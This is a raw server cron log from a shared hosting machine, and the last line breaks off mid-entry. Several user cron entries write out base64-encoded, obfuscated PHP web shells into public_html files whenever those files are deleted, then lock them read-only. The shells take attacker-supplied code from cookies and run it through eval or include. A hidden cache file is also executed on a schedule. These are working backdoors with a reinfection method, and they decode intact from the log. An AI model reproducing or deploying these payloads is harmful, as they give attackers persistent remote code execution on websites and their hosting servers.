Jun  7 06:07:01 medusa CROND[18753]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:07:01 medusa CROND[18749]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:07:22 medusa crontab[16573]: (root) REPLACE (root)
Jun  7 06:07:22 medusa crontab[16573]: (root) END EDIT (root)
Jun  7 06:07:34 medusa crontab[19809]: (root) BEGIN EDIT (root)
Jun  7 06:07:50 medusa crontab[19809]: (root) REPLACE (root)
Jun  7 06:07:50 medusa crontab[19809]: (root) END EDIT (root)
Jun  7 06:08:02 medusa crond[14442]: (root) RELOAD (/var/spool/cron/root)
Jun  7 06:08:02 medusa crond[14442]: (nespencapital) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (tutela) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (patago) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (ideastodoterreno) WRONG FILE OWNER (/var/spool/cron/ideastodoterreno)
Jun  7 06:08:02 medusa crond[14442]: (alejandrosignore) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (comahueprop) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (finapro) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (notisyhech) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (diesel) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (cosmo) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (spiga) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (camozzi) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (ipactos) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (flavia) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (lineaing) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (estudiorillo) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (tecnocom) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (insigne) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (blenkman) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa crond[14442]: (medinaruben) ORPHAN (no passwd entry)
Jun  7 06:08:02 medusa CROND[20628]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:08:02 medusa CROND[20663]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:08:02 medusa CROND[20664]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:08:02 medusa CROND[20662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:08:02 medusa CROND[20665]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:08:02 medusa CROND[20666]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:08:02 medusa CROND[20668]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Jun  7 06:08:02 medusa CROND[20669]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:08:02 medusa CROND[20670]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:08:02 medusa CROND[20671]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:08:02 medusa CROND[20674]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:08:02 medusa CROND[20676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:08:02 medusa CROND[20667]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 06:08:02 medusa CROND[20681]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:09:01 medusa CROND[22488]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 06:09:01 medusa CROND[22491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:09:01 medusa CROND[22499]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 06:09:01 medusa CROND[22502]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:09:01 medusa CROND[22503]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:09:01 medusa CROND[22504]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:09:01 medusa CROND[22505]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:09:01 medusa CROND[22506]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:09:01 medusa CROND[22508]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:09:01 medusa CROND[22507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:09:01 medusa CROND[22516]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:09:01 medusa CROND[22517]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldm